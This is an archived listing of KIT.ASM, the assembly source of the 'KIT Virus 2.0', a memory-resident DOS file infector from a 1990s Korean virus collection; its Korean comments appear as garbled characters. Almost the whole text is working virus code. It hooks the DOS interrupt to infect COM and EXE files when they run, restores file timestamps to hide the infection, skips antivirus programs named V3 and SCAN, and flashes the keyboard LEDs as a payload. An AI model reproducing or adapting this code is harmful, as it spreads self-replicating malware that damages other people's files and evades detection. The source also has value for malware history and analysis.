home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / KOREACOL.ZIP / KIT.ZIP / KIT.ASM next >
Encoding:
Assembly Source File  |  1996-09-26  |  24.8 KB  |  864 lines

  1. ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
  2. ;
  3. ;                    KIT Virus (Version 2.0)
  4. ;
  5. ; ña╖í£ß»aíw : KIT
  6. ; ╣A╕b╕a : ííƒq
  7. ; ╣A╕b╗í : ╨eèé (91æe ñiëe)
  8. ; ªà¼Γ╕a : KOV (96æe 8╢⌐)
  9. ; ┤ß¡Qºi£ß : MASM, TASM
  10. ;
  11. ; ╣╖ƒA : COM,EXE,¼w║ü╤w
  12. ; ┤q╤í : x
  13. ; öa╤w¼≈ : x
  14. ; ╖e═ü : x
  15. ; ¼Θíw : 1991æe 10╢⌐ ┼A╔I (Ketel:╗íïq╖ü HiTel) ë╖êü╕a₧a»⌐╡A ╡⌐£a╡Ñ ña╖í£ß»a╖í
  16. ;        öa. 4yfkg9 £aôe ¼a╢w╕aêa ùw¥ó╨ûöa. êq╡q ╡aªüƒi ê±¼a ╨a╗í ┤g┤a¼ß ║ùÑó
  17. ;        êq╡qûEöa.
  18. ;        »í║ù╡A ë╖êüûE ¡í»aôe ¼Θíw╖í êß╖ü ┤⌠┤߼ߠ║ü¼Γ╖i öi┤vöa.
  19. ;        ╖í ña╖í£ß»aƒi ╣A╕b╨e ªàìA êq¼a ùaƒÑöa.
  20. ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
  21.  
  22. cr        equ 0dh
  23. lf        equ 0ah
  24.  
  25.  
  26. _code     segment
  27.           assume cs:_code,ds:_code
  28.  
  29. virus:    jmp print
  30.           string db cr,lf
  31.                  db 'My name is Chun Jae!'      ; └σ╕ü? ╢òïíëí ╖╢èà
  32.                  db cr,lf,'$'
  33. print:    mov ax,cs
  34.           mov ds,ax
  35.           mov dx,offset string
  36.           mov ah,9h
  37.           int 21h
  38.           mov ax,4c00h
  39.           int 21h
  40. _code     ends
  41.  
  42.  
  43. ;-------------------------------------------------
  44. code      segment
  45.           assume cs:code,ds:code
  46.           jumps
  47. entry:
  48.           jmp start                             ; ña╖í£ß»a »í╕b╖a¥í ╕±╧a
  49.           exe_start   dd ?                      ;
  50.           exe_sp      dw ?                      ;
  51.           exe_ss      dw ?                      ;
  52.           able_para   dw ?                      ;
  53.           psp_seg     dw ?                      ; PSP ¡Aïaáσ╦a
  54.           bff_seg     dw ?                      ;
  55.           int21_off   dw ?                      ; Int 21h
  56.           int21_seg   dw ?                      ;
  57.           int1c_off   dw ?                      ; Int 1ch
  58.           int1c_seg   dw ?                      ;
  59.           int24       dd ?                      ; Int 24h
  60.           mess_data   db 83h,0afh,0b0h,0b9h,0b2h,0a9h,0a7h ; 'Copyright 1991-1999
  61.                       db 0a8h,0b4h,60h,71h,79h,79h,71h     ; .KIT VIRUS(version
  62.                       db 6dh,71h,79h,79h,79h,6eh,60h       ; 2.0)'
  63.                       db 8bh,89h,94h,60h,96h,89h,92h
  64.                       db 95h,93h,60h,68h,0b6h,0a5h,0b2h
  65.                       db 0b3h,0a9h,0afh,0aeh,60h,72h,6eh
  66.                       db 70h,69h,6eh,60h,60h
  67.           data_ax     dw ?                      ; ¥A╗í»a╚ß êt
  68.           data_bx     dw ?                      ;
  69.           data_cx     dw ?                      ;
  70.           data_dx     dw ?                      ;
  71.           data_bp     dw ?                      ;
  72.           data_sp     dw ?                      ;
  73.           data_ds     dw ?                      ;
  74.           data_es     dw ?                      ;
  75.           data_ss     dw ?                      ;
  76.           data_si     dw ?                      ;
  77.           data_di     dw ?                      ;
  78.           all_byte    dw 950h                   ; ña╖í£ß»a ╟aïí
  79.           space       dw 0                      ;
  80.           remain      dw ?                      ;
  81.           marker      dw ?                      ; EXE ╠eöe
  82.           haldang     dw ?                      ;
  83.           file_name   dd ?                      ; ╠a╖⌐ ╖íƒq
  84.           file_size   dw ?                      ; ╠a╖⌐ ï⌐╖í
  85.           target_file2 db 96h,73h               ; V3
  86.           target_file3 db 93h,83h,81h,8eh       ; SCAN
  87.           file_handle dw ?                      ; ╠a╖⌐ ╨àùi
  88.           file_attr   dw ?                      ; ╠a╖⌐ ¡ó¼≈
  89.           file_date   dw ?                      ; ╠a╖⌐ ╕b¼≈ »íêe
  90.           file_time   dw ?                      ;
  91.           file_flag   db ?                      ; ╠a╖⌐ ╤w╚ü (COM,EXE)
  92.           haldang_flag db ?
  93.           com         db 83h,8fh,8dh            ;
  94.           exe         db 85h,98h,85h            ;
  95.           columns_off dw ?                      ;
  96.           exe_header  db 1ch dup (0)            ; EXE ╤Aöß ñß╠ß
  97.           end_1       dw ?                      ;
  98.           end_2       dw ?                      ;
  99.           paragraph   dw 0016                   ;
  100.           sector      dw 0512                   ;
  101.           time_out    dw 05550h                 ;
  102.           time_out2   dw 0222h                  ;
  103.           flag        db 0                      ;
  104.           flag2       db 0                      ;
  105.           switch      db 0                      ;
  106.           counter     db 0                      ;
  107.           com_start   dd ?                      ;
  108.  
  109. start:
  110.           mov word ptr cs:[offset data_ax+100h],ax  ; AX,BX... êt ╕ß╕w
  111.           mov word ptr cs:[offset data_bx+100h],bx
  112.           mov word ptr cs:[offset data_cx+100h],cx
  113.           mov word ptr cs:[offset data_dx+100h],dx
  114.           mov word ptr cs:[offset data_si+100h],si
  115.           mov word ptr cs:[offset data_di+100h],di
  116.           mov word ptr cs:[offset data_ds+100h],ds
  117.           mov word ptr cs:[offset data_es+100h],es
  118.           mov word ptr cs:[offset data_ss+100h],ss
  119.           mov word ptr cs:[offset data_sp+100h],sp
  120.           mov word ptr cs:[offset data_bp+100h],bp
  121.           cld
  122.           mov ah,0dah                           ; £æ ¼w║ü ╡aªü ê±¼a
  123.           int 21h
  124.           cmp ah,4
  125.           jnz set_reg
  126.           mov ah,0dbh                           ; COM »⌐╨ù »í╟íïí
  127.           mov di,0100h
  128.           mov si,word ptr cs:[offset all_byte+100h]
  129.           add si,0100h
  130.           mov cx,word ptr cs:[offset file_size+100h]
  131.           int 21h
  132. set_reg:                                        ; EXE ╠a╖⌐ë┴ ¡Aïaáσ╦a ╖⌐├í
  133.           mov byte ptr cs:[offset file_flag+100h],0
  134.           mov ax,cs                             ; IP êa 0 ╖í ûAòí¥ó ╨q.
  135.           add ax,0010h
  136.           cli
  137.           mov ss,ax
  138.           mov sp,word ptr cs:[offset all_byte+100h]
  139.           sti
  140.           push ax
  141.           mov ax,offset exe_h
  142.           push ax
  143.           retf
  144.  
  145. exe_point:                                      ; EXE ╠a╖⌐╖ü »í╕b╕±
  146.           mov cs:data_ax,ax                     ;
  147.           mov cs:data_bx,bx
  148.           mov cs:data_cx,cx
  149.           mov cs:data_dx,dx
  150.           mov cs:data_ds,ds
  151.           mov cs:data_es,es
  152.           mov cs:data_si,si
  153.           mov cs:data_di,di
  154.           mov cs:data_bp,bp
  155.           mov cs:file_flag,1
  156. exe_h:
  157.           mov ax,cs                             ;
  158.           mov ds,ax
  159.           mov flag,0                            ;
  160.           mov switch,0                          ;
  161.           mov counter,0                         ;
  162.           mov flag2,0                           ;
  163.           mov time_out,05550h                   ;
  164.           mov time_out2,0222h                   ;
  165.  
  166.           mov ah,0dah                           ; ¼w║ü ╡aªü ê±¼a
  167.           int 21h
  168.           cmp ah,4
  169.           jnz bug_ram
  170. exec_exe:                                       ; EXE ╠a╖⌐ »⌐╨ù
  171.           mov ax,es
  172.           add ax,0010h
  173.           add word ptr exe_start[02],ax
  174.           add exe_ss,ax
  175.           cli
  176.           mov ss,exe_ss
  177.           mov sp,exe_sp
  178.           sti
  179.           mov ax,data_ax
  180.           mov bx,data_bx
  181.           mov cx,data_cx
  182.           mov dx,data_dx
  183.           mov es,data_es
  184.           mov si,data_si
  185.           mov di,data_di
  186.           mov ds,data_ds
  187.           jmp cs:exe_start
  188.  
  189. bug_ram:                                        ;
  190.           mov ah,4ah                            ; ïí┤Γ╕w¡í╡A ¼w║ü╨aïí
  191.           mov bx,0ffffh                         ; ╨a╗íáe, UMB ƒi 0 ¥í áeùi┤ß
  192.           int 21h                               ; ñ߃íôe óà╣A╕±╖í ╣Ñ╕ü╨eöa.
  193.           jnc exec_exe                          ;
  194.           mov ax,all_byte
  195.           add ax,space
  196.           mov cx,16
  197.           mov dx,0
  198.           div cx
  199.           cmp dx,0
  200.           jz no_inc1
  201.           inc ax
  202. no_inc1:
  203.           inc ax
  204.           mov haldang,ax
  205.           sub bx,ax
  206.           mov ah,4ah
  207.           int 21h
  208.           jc exec_exe
  209.           mov ax,haldang
  210.           dec ax
  211.           mov bx,ax
  212.           mov ah,48h
  213.           int 21h
  214.           jc exec_exe
  215.           mov bff_seg,ax
  216.           mov ah,62h
  217.           int 21h
  218.           mov psp_seg,bx
  219.           dec bx
  220.           mov es,bx
  221.           mov byte ptr es:[00],5ah
  222.           push cs
  223.           pop ds
  224.           mov es,bff_seg
  225.           xor si,si                             ; ña╖í£ß»a Ñó¼a
  226.           xor di,di                             ; ña╖í£ß»aôe ïí┤Γ╕w¡í╖ü ┬A¼w╢ß
  227.           mov ax,all_byte                       ; ╡w╡b╖a¥í Ñó¼a ûEöa.
  228.           shr ax,1
  229.           mov cx,ax
  230.           rep movsw
  231.           push es
  232.           mov ax,offset new_prog
  233.           push ax
  234.           retf
  235. new_prog:                                       ;
  236.           mov ax,cs
  237.           mov ds,ax
  238.           cli
  239.           mov ss,ax                             ; »a╚é ╕ü ¼Θ╕≈
  240.           mov sp,all_byte
  241.           sti
  242. chng_21:
  243.           mov ax,3521h                          ; ╖Ñ╚ߣ≤╦a 21h êa¥í└üïí
  244.           int 21h
  245.           mov int21_off,bx
  246.           mov int21_seg,es
  247.           mov dx,offset int_21h
  248.           mov ax,2521h
  249.           int 21h
  250. chng_1c:
  251.           mov ax,351ch                          ; ╖Ñ╚ߣ≤╦a 1Ch êa¥í└üïí
  252.           int 21h
  253.           mov int1c_off,bx
  254.           mov int1c_seg,es
  255.           mov dx,offset int_1ch
  256.           mov ax,251ch
  257.           int 21h
  258. execute:
  259.           mov ax,cs                             ;
  260.           mov ds,ax                             ; ┤q╤í╤┴ûE íA»í╗í ╬ëïí
  261.           mov es,ax                             ;
  262.           mov si,offset mess_data               ;
  263.           mov di,offset message                 ;
  264.           mov cx,50                             ;
  265. chng_cha:                                       ;
  266.           lodsb                                 ;
  267.           sub al,40h                            ;
  268.           stosb                                 ;
  269.           loop chng_cha                         ;
  270. end_chng:
  271.           cmp file_flag,0                       ; ╠a╖⌐ ╤w╚ü
  272.           jnz _exe
  273. _com:
  274.           mov es,psp_seg                        ; COM ╕ü»⌐╨ù
  275.           mov ds,psp_seg
  276.           mov di,0100h
  277.           mov si,cs:all_byte
  278.           add si,0100h
  279.           mov cx,cs:file_size
  280.           repz movsb
  281.           mov ax,cs:psp_seg
  282.           mov word ptr cs:com_start[02],ax
  283.           mov ax,0100h
  284.           mov word ptr cs:com_start[00],ax
  285.           mov ax,cs:data_ax                     ; ¥A╗í»a╚ß Ñóèü
  286.           mov bx,cs:data_bx
  287.           mov cx,cs:data_cx
  288.           mov dx,cs:data_dx
  289.           mov di,cs:data_di
  290.           mov si,cs:data_si
  291.           mov es,cs:data_es
  292.           mov ds,cs:data_ds
  293.           mov ss,cs:data_ss
  294.           mov sp,cs:data_sp
  295.           mov bp,cs:data_bp
  296.           jmp cs:com_start
  297. _exe:                                           ; EXE ╕ü »⌐╨ù
  298.           mov es,psp_seg
  299.           mov ax,es
  300.           add ax,10h
  301.           add word ptr exe_start[02],ax
  302.           add exe_ss,ax
  303.           mov ss,exe_ss
  304.           mov sp,exe_sp
  305.           mov ax,data_ax
  306.           mov bx,data_bx
  307.           mov cx,data_cx
  308.           mov dx,data_dx
  309.           mov es,data_es
  310.           mov si,data_si
  311.           mov di,data_di
  312.           mov bp,data_bp
  313.           mov ds,data_ds
  314.           jmp cs:exe_start
  315.  
  316. ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
  317. ;
  318. int_1ch:
  319.           pushf
  320.           push ax
  321.           push bx
  322.           push cx
  323.           push dx
  324.           push ds
  325.           push es
  326.           push cs
  327.           pop ds
  328.           cmp flag2,1                           ; ╕bò╖ ?
  329.           jz kit
  330.           dec time_out
  331.           cmp time_out,0
  332.           jnz out_of
  333.           mov cs:flag2,1
  334.           jmp out_of
  335. kit:
  336.           dec time_out2                         ;
  337.           cmp time_out2,0
  338.           jnz go_on
  339.           mov ax,40h
  340.           mov es,ax
  341.           and byte ptr es:[17h],00h
  342.           mov time_out,05550h
  343.           mov time_out2,0222h
  344.           mov flag,0
  345.           mov flag2,0
  346.           mov counter,0
  347.           mov switch,0
  348.           jmp out_of
  349. go_on:
  350.           mov ax,40h                            ; Num Lock,Caps Lock,Scroll Lock
  351.           mov es,ax                             ; êa îq¿b╖Ñöa.
  352.           cmp switch,0
  353.           jz rtn_0
  354.           cmp switch,1
  355.           jz rtn_1
  356.           cmp switch,2
  357.           jz rtn_2
  358.           cmp switch,3
  359.           jz rtn_3
  360.           cmp switch,4
  361.           jz rtn_4
  362.           cmp switch,5
  363.           jz rtn_5
  364. rtn_0:
  365.           cli
  366.           or byte ptr es:[17h],20h
  367.           sti
  368.           mov switch,1
  369.           jmp out_of
  370. rtn_1:
  371.           add counter,1
  372.           nop
  373.           nop
  374.           nop
  375.           cmp counter,1
  376.           jnz rtn_1
  377.           cli
  378.           and byte ptr es:[17h],0dfh
  379.           sti
  380.           mov counter,0
  381.           mov switch,2
  382.           jmp out_of
  383. rtn_2:
  384.           cli
  385.           or byte ptr es:[17h],40h
  386.           sti
  387.           mov switch,3
  388.           jmp out_of
  389. rtn_3:
  390.           add counter,1
  391.           nop
  392.           nop
  393.           nop
  394.           cmp counter,1
  395.           jnz rtn_3
  396.           cli
  397.           and byte ptr es:[17h],0bfh
  398.           sti
  399.           cmp flag,0
  400.           jnz forward
  401.           mov counter,0
  402.           mov switch,4
  403.           mov flag,1
  404.           jmp out_of
  405. forward:
  406.           mov counter,0
  407.           mov switch,0
  408.           mov flag,0
  409.           jmp out_of
  410. rtn_4:
  411.           cli
  412.           or byte ptr es:[17h],10h
  413.           sti
  414.           mov switch,5
  415.           jmp out_of
  416. rtn_5:
  417.           add counter,1
  418.           nop
  419.           nop
  420.           nop
  421.           cmp counter,1
  422.           jnz rtn_5
  423.           cli
  424.           and byte ptr es:[17h],0efh
  425.           sti
  426.           mov counter,0
  427.           mov switch,2
  428.           jmp out_of
  429. out_of:
  430.           pop es
  431.           pop ds
  432.           pop dx
  433.           pop cx
  434.           pop bx
  435.           pop ax
  436.           popf
  437.           jmp dword ptr cs:int1c_off
  438.  
  439. ;
  440. ;
  441. ;
  442. int_21h:
  443.           pushf
  444.           cmp ah,0dah                           ; ¼w║ü ╡aªü ê±¼a?
  445.           jnz gariginal
  446.           mov ah,4                              ; ƒí╚σ
  447.           popf
  448.           iret
  449. gariginal:
  450.           cmp ax,4b00h                          ; »⌐╨ù?
  451.           jz rtn_4b
  452.           cmp ah,0dbh                           ; COM »⌐╨ù╖Ñêa?
  453.           jz rtn_db
  454. original:
  455.           popf
  456.           jmp dword ptr cs:int21_off
  457. int_24h:
  458.           xor al,al
  459.           iret
  460. rtn_db:                                         ; COM »⌐╨ù
  461.           repz movsb
  462.           pop ax
  463.           pop ax
  464.           mov ax,0100h
  465.           mov word ptr cs:com_start,ax
  466.           pop ax
  467.           mov word ptr cs:com_start[02],ax
  468.           popf
  469.           mov ax,cs:data_ax
  470.           mov di,cs:data_di
  471.           mov si,cs:data_si
  472.           mov cx,cs:data_cx
  473.           mov sp,cs:data_sp
  474.           jmp cs:com_start
  475.  
  476. rtn_4b:
  477.           mov cs:file_flag,0ffh                 ; ╠a╖⌐ ¼w╚ü
  478.           mov cs:haldang_flag,0                 ; ╠a╖⌐ ╨àùi
  479.           mov word ptr cs:file_name,dx          ; ╠a╖⌐ ╖íƒq
  480.           mov word ptr cs:file_name[02],ds
  481.           push ax
  482.           push bx
  483.           push cx
  484.           push dx
  485.           push si
  486.           push di
  487.           push ds
  488.           push es
  489.           mov ah,2ch                            ; »íêe ┤Φïí
  490.           int 21h
  491.           mov al,dh
  492.           mov ah,0
  493.           mov cl,10
  494.           div cl
  495.           mov cl,4
  496.           shl al,cl
  497.           mov ah,0
  498.           add ax,cs:all_byte
  499.           mov cs:remain,ax                      ; ╗wêa ╟aïí (»íêe╡A ÿa£a ñaı)
  500.           lds dx,cs:file_name
  501.           cld
  502. drive:
  503.           mov di,dx                             ; ùa£a╖íºa ê±¼a
  504.           xor dl,dl
  505.           cmp byte ptr [di+01],3ah
  506.           jnz chk_cap
  507.           mov dl,[di]
  508.           and dl,1fh
  509. chk_cap:
  510.           mov ah,36h                            ; ùí»a╟a ╢w£╖ ┤Φïí
  511.           int 21h
  512.           cmp ax,0ffffh
  513.           jz escape2
  514.           mul bx
  515.           mul cx
  516.           or dx,dx
  517.           jnz sijak1
  518.           cmp ax,remain
  519.           jb escape2
  520. sijak1:
  521.           lds dx,cs:file_name                   ; ¡ó¼≈ ┤Φïí
  522.           mov ax,4300h
  523.           int 21h
  524.           jc escape2
  525.           mov cs:file_attr,cx
  526. find_com:
  527.           mov ax,3d00h                          ; ╡í╧e
  528.           pushf
  529.           call dword ptr cs:int21_off
  530.           jc escape2
  531.           mov bx,ax                             ; ╣A╖⌐ └ß╖q╖a¥í ╖íò╖
  532.           xor cx,cx                             ; (ªë╧⌐╢a╨e íw¥w╖íöa.)
  533.           mov dx,cx                             ; ╡í╧e ûI ÿü ╢ß├íôe ╣A╖⌐ └ß╖q╖íöa
  534.           mov ax,4200h
  535.           int 21h
  536.           jc escape1
  537.           push cs                               ;
  538.           pop ds
  539.           mov dx,offset marker                  ; EXE ╠a╖⌐ ╖Ñ╗í ê±¼a
  540.           mov cx,2
  541.           mov ah,3fh                            ; 2 ña╖í╦a ╖¬ïí
  542.           int 21h
  543.           jc escape1
  544.           mov ah,3eh                            ; öhïí
  545.           int 21h
  546.           jc escape1
  547.           cmp cs:marker,5a4dh
  548.           jnz yes_com
  549.           mov cs:file_flag,1                    ; 1 = EXE
  550.           jmp capital
  551. yes_com:
  552.           mov cs:file_flag,0                    ; 0 = COM
  553. capital:
  554.           lds dx,cs:file_name                   ; ╠a╖⌐ ╖íƒq ê±¼a
  555.           push ds
  556.           pop es
  557.           mov si,word ptr cs:file_name
  558. capital2:                                       ; öüóà╕a Ñe╤┼
  559.           mov al,[si]                           ;
  560.           cmp al,0                              ; Å{╖Ñêa?
  561.           jz infect
  562.           cmp al,61h
  563.           jb inc_si
  564.           cmp al,7ah
  565.           ja inc_si
  566.           add byte ptr [si],20h
  567.           inc si
  568.           jmp capital2
  569. inc_si:
  570.           add byte ptr [si],40h
  571.           inc si
  572.           jmp capital2
  573. infect:
  574.           lds dx,cs:file_name                   ;
  575.           std
  576.           mov di,si
  577.           push ds
  578.           pop es
  579.           mov al,9ch
  580.           mov cx,0041h
  581.           repnz scasb
  582.           inc di
  583.           inc di
  584.           mov cs:columns_off,di
  585.           cld
  586.           mov si,di
  587.           push cs
  588.           pop es
  589.           mov di,offset target_file2
  590.           mov cx,2
  591.           repz cmpsb
  592.           jnz infect2
  593.           jmp h_tag
  594. infect2:
  595.           mov cx,4
  596.           mov di,offset target_file3
  597.           mov si,cs:columns_off
  598.           repz cmpsb
  599.           jnz decode
  600.           jmp h_tag
  601. decode:
  602.           mov si,word ptr cs:file_name
  603. loop_dc:
  604.           mov al,[si]
  605.           cmp al,0
  606.           jz sijak2
  607.           cmp al,81h
  608.           jb dec_si
  609.           cmp al,9ah
  610.           ja dec_si
  611.           sub byte ptr [si],20h
  612.           inc si
  613.           jmp loop_dc
  614. dec_si:
  615.           sub byte ptr [si],40h
  616.           inc si
  617.           jmp loop_dc
  618. h_tag:
  619.           mov si,word ptr cs:file_name
  620. tag_dc:
  621.           mov al,[si]
  622.           cmp al,0
  623.           jz end_of
  624.           cmp al,81h
  625.           jb dec2_si
  626.           cmp al,9ah
  627.           ja dec2_si
  628.           sub byte ptr [si],20h
  629.           inc si
  630.           jmp tag_dc
  631. dec2_si:
  632.           sub byte ptr [si],40h
  633.           inc si
  634.           jmp tag_dc
  635. end_of:
  636.           jmp escape2
  637. sijak2:                                         ; ╠a╖⌐ ╡í╧e
  638.           lds dx,cs:file_name
  639.           mov ax,3d00h
  640.           pushf
  641.           call dword ptr cs:int21_off
  642.           jc escape2
  643.           mov cs:file_handle,ax
  644. get_size:
  645.           mov bx,ax                             ; ╠a╖⌐ Å{╖a¥í ╖íò╖
  646.           mov ax,4202h
  647.           xor cx,cx
  648.           xor dx,dx
  649.           int 21h
  650.           jc close_f
  651.           mov cs:file_size,ax
  652.           jmp chg_24
  653. close_f:
  654.           mov ah,3eh                            ; öhïí
  655.           pushf
  656.           call dword ptr cs:int21_off
  657.           jmp escape2
  658. chg_24:
  659.           mov ax,3524h                          ; ╖Ñ╚ߣ≤╦a 24h
  660.           int 21h                               ; (│aïí ñw╗í ùw╖ü ╡A£ß┤eÉaëA╨q)
  661.           mov word ptr cs:int24[02],es
  662.           mov word ptr cs:int24[00],bx
  663.           mov ax,cs
  664.           mov ds,ax
  665.           mov dx,offset int_24h
  666.           mov ax,2524h
  667.           int 21h
  668. chng_attr:
  669.           lds dx,cs:file_name                   ; ╖¬ïí/│aïí¥í ¡ó¼≈ Ñe╤┼
  670.           xor cx,cx
  671.           mov ax,4301h
  672.           int 21h
  673.           jc escape1
  674. close_file:
  675.           mov bx,cs:file_handle
  676.           mov ah,3eh
  677.           pushf
  678.           call dword ptr cs:int21_off
  679.           mov cs:file_handle,0ffffh
  680. reopen:
  681.           mov ax,3d02h                          ; ╡í╧e
  682.           pushf
  683.           call dword ptr cs:int21_off
  684.           jc escape2
  685.           mov cs:file_handle,ax
  686.           mov ax,cs
  687.           mov ds,ax
  688.           mov es,ax
  689. get_date:
  690.           mov bx,file_handle                    ; ╠a╖⌐ ╕b¼≈ »íêe ┤Φïí
  691.           mov ax,5700h
  692.           int 21h
  693.           mov file_date,dx
  694.           mov file_time,cx
  695.           mov ax,4200h                          ; └ß╖q╖a¥í ╖íò╖
  696.           xor cx,cx
  697.           mov dx,cx
  698.           int 21h
  699.           jc escape1
  700. chk_com:
  701.           cmp file_flag,0
  702.           jz com_proc
  703. chk_exe:
  704.           cmp file_flag,1
  705.           jz exe_proc
  706.           jmp escape1
  707.  
  708. com_proc:                                       ; COM ╠a╖⌐ êq╡q
  709.           mov bx,1000h
  710.           mov ah,48h
  711.           int 21h
  712.           jnb ok_mem
  713. close_f2:
  714.           mov ah,3eh
  715.           mov bx,file_handle
  716.           pushf
  717.           call dword ptr cs:int21_off
  718.           jmp escape1
  719. ok_mem:
  720.           mov haldang_flag,1
  721.           mov es,ax
  722.           xor si,si
  723.           mov di,si
  724.           mov cx,cs:all_byte
  725.           repz movsb
  726.           mov dx,di
  727.           mov cx,cs:file_size
  728.           cmp cx,0f448h
  729.           jb pass1
  730.           jmp close_f2
  731. pass1:
  732.           mov bx,cs:file_handle
  733.           push es
  734.           pop ds
  735.           mov ah,3fh
  736.           int 21h
  737.           jc escape1
  738. set_point:
  739.           add di,cx
  740.           xor cx,cx
  741.           xor dx,dx
  742.           mov ax,4200h
  743.           int 21h
  744.           mov cx,di
  745.           xor dx,dx
  746.           mov ah,40h
  747.           int 21h
  748.           jmp escape1
  749.  
  750.                                                 ; EXE ╠a╖⌐ êq╡q
  751. exe_proc:                                       ;
  752.           mov cx,001ch
  753.           mov dx,offset exe_header
  754.           mov ah,3fh
  755.           int 21h
  756.           jc escape1
  757. set_header:                                     ;
  758.           mov word ptr exe_header[12h],1991     ; ªë╧⌐╢a
  759.           mov ax,word ptr exe_header[0eh]
  760.           mov word ptr exe_ss,ax
  761.           mov ax,word ptr exe_header[10h]
  762.           mov word ptr exe_sp,ax
  763.           mov ax,word ptr exe_header[14h]
  764.           mov word ptr exe_start,ax
  765.           mov ax,word ptr exe_header[16h]
  766.           mov word ptr exe_start[02],ax
  767.           mov ax,word ptr exe_header[04h]
  768.           cmp word ptr exe_header[02h],00
  769.           jz no_dec
  770.           dec ax
  771. no_dec:
  772.           mul sector
  773.           add ax,word ptr exe_header[02h]
  774.           adc dx,00
  775.           add ax,000fh
  776.           adc dx,00
  777.           and ax,0fff0h
  778.           mov end_1,ax
  779.           mov end_2,dx
  780.           add ax,remain
  781.           adc dx,00
  782.           jc escape1
  783.           div sector
  784.           cmp ax,04fah
  785.           jae escape1
  786.           or dx,dx
  787.           jz no_inc
  788.           inc ax
  789. no_inc:
  790.           mov word ptr exe_header[04h],ax
  791.           mov word ptr exe_header[02h],dx
  792.           mov ax,end_1
  793.           mov dx,end_2
  794.           div paragraph
  795.           sub ax,word ptr exe_header[08h]
  796.           mov word ptr exe_header[16h],ax
  797.           mov word ptr exe_header[14h],offset exe_point
  798.           mov word ptr exe_header[0eh],ax
  799.           mov ax,remain
  800.           mov word ptr exe_header[10h],ax
  801. pointer:
  802.           xor cx,cx
  803.           mov dx,cx
  804.           mov ax,4200h
  805.           int 21h
  806.           jc escape1
  807. write:
  808.           mov cx,001ch
  809.           mov dx,offset exe_header
  810.           mov ah,40h
  811.           int 21h
  812.           jc escape1
  813.           cmp ax,cx
  814.           jnz escape1
  815.           mov dx,end_1
  816.           mov cx,end_2
  817.           mov ax,4200h
  818.           int 21h
  819.           jc escape1
  820.           mov cx,remain
  821.           xor dx,dx
  822.           mov ah,40h
  823.           int 21h
  824. escape1:
  825.           cmp haldang_flag,1
  826.           jnz pass2
  827.           mov ah,49h
  828.           int 21h
  829. pass2:
  830.           mov bx,cs:file_handle
  831.           mov dx,cs:file_date
  832.           mov cx,cs:file_time
  833.           mov ax,5701h
  834.           int 21h
  835. close:
  836.           mov ah,3eh
  837.           pushf
  838.           call dword ptr cs:int21_off
  839. repair:                                         ; ╠a╖⌐ ¡ó¼≈ Ñóèü
  840.           lds dx,cs:file_name
  841.           mov cx,cs:file_attr
  842.           mov ax,4301h
  843.           int 21h
  844.           lds dx,cs:int24
  845.           mov ax,2524h
  846.           int 21h
  847. escape2:
  848.           pop es
  849.           pop ds
  850.           pop di
  851.           pop si
  852.           pop dx
  853.           pop cx
  854.           pop bx
  855.           pop ax
  856.           popf
  857.           jmp dword ptr cs:int21_off
  858.  
  859. message   db 50 dup (0)                         ; íA»í╗íƒi ╢ß╨e ñß╠ß
  860.  
  861. code      ends
  862.           end exe_point
  863.  
  864.